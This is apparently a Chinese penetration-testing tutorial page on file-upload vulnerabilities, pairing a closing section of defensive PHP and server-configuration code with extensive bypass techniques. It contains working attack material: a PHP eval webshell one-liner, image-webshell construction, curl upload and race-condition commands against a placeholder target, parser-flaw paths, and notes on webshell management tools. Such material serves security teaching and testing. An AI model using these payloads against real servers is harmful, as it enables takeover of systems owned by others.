---
title: "文件上传漏洞"
weight: 12
date: "2026-03-08T22:45:09+08:00"
lastmod: "2026-03-08T22:45:09+08:00"
---

## 漏洞概述

文件上传漏洞允许攻击者上传恶意文件（如 Webshell）到服务器，从而获得服务器控制权。

**OWASP Top 10**: A01:2021  
**危害等级**: ⭐⭐⭐⭐⭐

---

## 漏洞检测

### 基础测试

```
# 上传正常文件
test.txt -> 成功

# 上传脚本文件
test.php -> 成功/失败？
test.asp -> 成功/失败？
test.jsp -> 成功/失败？

# 查看上传目录
/uploads/
/files/
/attachment/
```

---

## 绕过技巧

### 1. 前端验证绕过

```bash
# 方法 1: 禁用 JavaScript
# 方法 2: 使用 Burp Suite 拦截修改
# 方法 3: 本地保存页面，修改验证逻辑后上传
```

### 2. MIME 类型绕过

```bash
# 原始请求
Content-Type: application/x-php

# 修改为
Content-Type: image/jpeg
Content-Type: image/png
```

### 3. 文件扩展名绕过

```bash
# 大小写混合
test.Php
test.PHP
test.pHp

# 特殊扩展名
test.php3
test.php4
test.php5
test.phtml
test.phar

# 双扩展名
test.jpg.php
test.png.php
test.php.jpg

# 点空格点绕过 (Windows)
test.php. . .
test.php. .
test.php.

# ::$DATA (Windows)
test.php::$DATA
```

### 4. .htaccess 绕过

```apache
# 上传 .htaccess 文件
AddType application/x-httpd-php .jpg
SetHandler application/x-httpd-php

# 然后上传 test.jpg 内容为 PHP 代码
```

### 5. 文件头绕过

```bash
# 在 PHP 文件开头添加图片文件头
GIF89a
<?php phpinfo(); ?>

# 或使用 exif_imagetype 绕过
<?php
echo file_get_contents('shell.jpg');
echo '<?php @eval($_POST["cmd"]); ?>';
?>
```

### 6. 条件竞争绕过

```bash
# 快速上传并访问
for i in {1..100}; do
    curl -F "file=@shell.php" http://target.com/upload &
    curl http://target.com/uploads/shell.php?cmd=whoami &
done
```

### 7. 解析漏洞

#### Nginx 解析漏洞

```bash
# 上传文件
test.jpg

# 访问
/uploads/test.jpg/shell.php
/uploads/test.jpg%00.php
```

#### Apache 解析漏洞

```bash
# 上传文件
test.php.xxxxx

# 从右到左解析，如果 xxxxx 不认识，继续解析 php
```

#### IIS 解析漏洞

```bash
# IIS 6.0
/test.asp/shell.php
/test.asp;shell.php

# IIS 7.0/7.5 (FastCGI)
/test.jpg%00.php
```

---

## 工具检测

### Burp Suite

```bash
# 使用 Intruder 模块
# Payload: 各种扩展名组合
.php, .php3, .phtml, .php5, .jpg.php
```

### Upload-Bypass

```bash
# 自动化上传绕过工具
python upload-bypass.py -u http://target.com/upload -f shell.php
```

---

## 实战案例

### 案例 1: 简单扩展名过滤

```bash
# 过滤 .php
# 绕过：使用 .php5

curl -F "file=@shell.php5" http://target.com/upload
```

### 案例 2: MIME 类型 + 扩展名过滤

```bash
# 使用图片马
# 1. 准备正常图片
cp logo.jpg shell.jpg

# 2. 追加 PHP 代码
echo '<?php @eval($_POST["cmd"]); ?>' >> shell.jpg

# 3. 修改 Content-Type
curl -F "file=@shell.jpg;type=image/jpeg" http://target.com/upload

# 4. 配合 .htaccess 解析
```

### 案例 3: 二次渲染绕过

```bash
# 有些系统会对图片二次渲染，去除 PHP 代码
# 使用 GIF89a 文件头 + 代码分离

# 上传 shell.gif (包含 PHP 代码)
# 上传 .htaccess (设置解析)
# 访问 shell.gif 执行 PHP
```

---

## Webshell 管理工具

### 中国蚁剑

```bash
# 连接 Webshell
# URL: http://target.com/uploads/shell.php
# 密码：cmd
# 然后执行命令、管理文件
```

### 冰蝎

```bash
# 加密 Webshell，绕过流量检测
# 需要对应版本的客户端
```

### 哥斯拉

```bash
# 支持多种脚本语言
# 加密通信，隐蔽性强
```

---

## 防御建议

1. **白名单验证**
   ```php
   $allowed = ['jpg', 'jpeg', 'png', 'gif'];
   $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
   if (!in_array($ext, $allowed)) {
       die('Invalid file type');
   }
   ```

2. **重命名文件**
   ```php
   $new_name = uniqid() . '.jpg';
   move_uploaded_file($_FILES['file']['tmp_name'], 'uploads/' . $new_name);
   ```

3. **设置执行权限**
   ```bash
   # 上传目录禁止执行 PHP
   # Apache .htaccess
   <Directory "/uploads">
       php_flag engine off
   </Directory>
   
   # Nginx
   location /uploads {
       location ~ \.php$ {
           deny all;
       }
   }
   ```

4. **文件内容检查**
   ```php
   $image_info = getimagesize($_FILES['file']['tmp_name']);
   if ($image_info === false) {
       die('Invalid image');
   }
   ```

5. **使用云存储**
   - 将文件存储到 OSS/S3
   - 与 Web 服务器分离

---

## 参考链接

- [PayloadsAllTheThings - File Upload](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Upload)
- [HackTricks - File Upload](https://book.hacktricks.wiki/pentesting-web/file-upload)
- [文件上传漏洞学习](https://github.com/c0ny1/upload-labs)
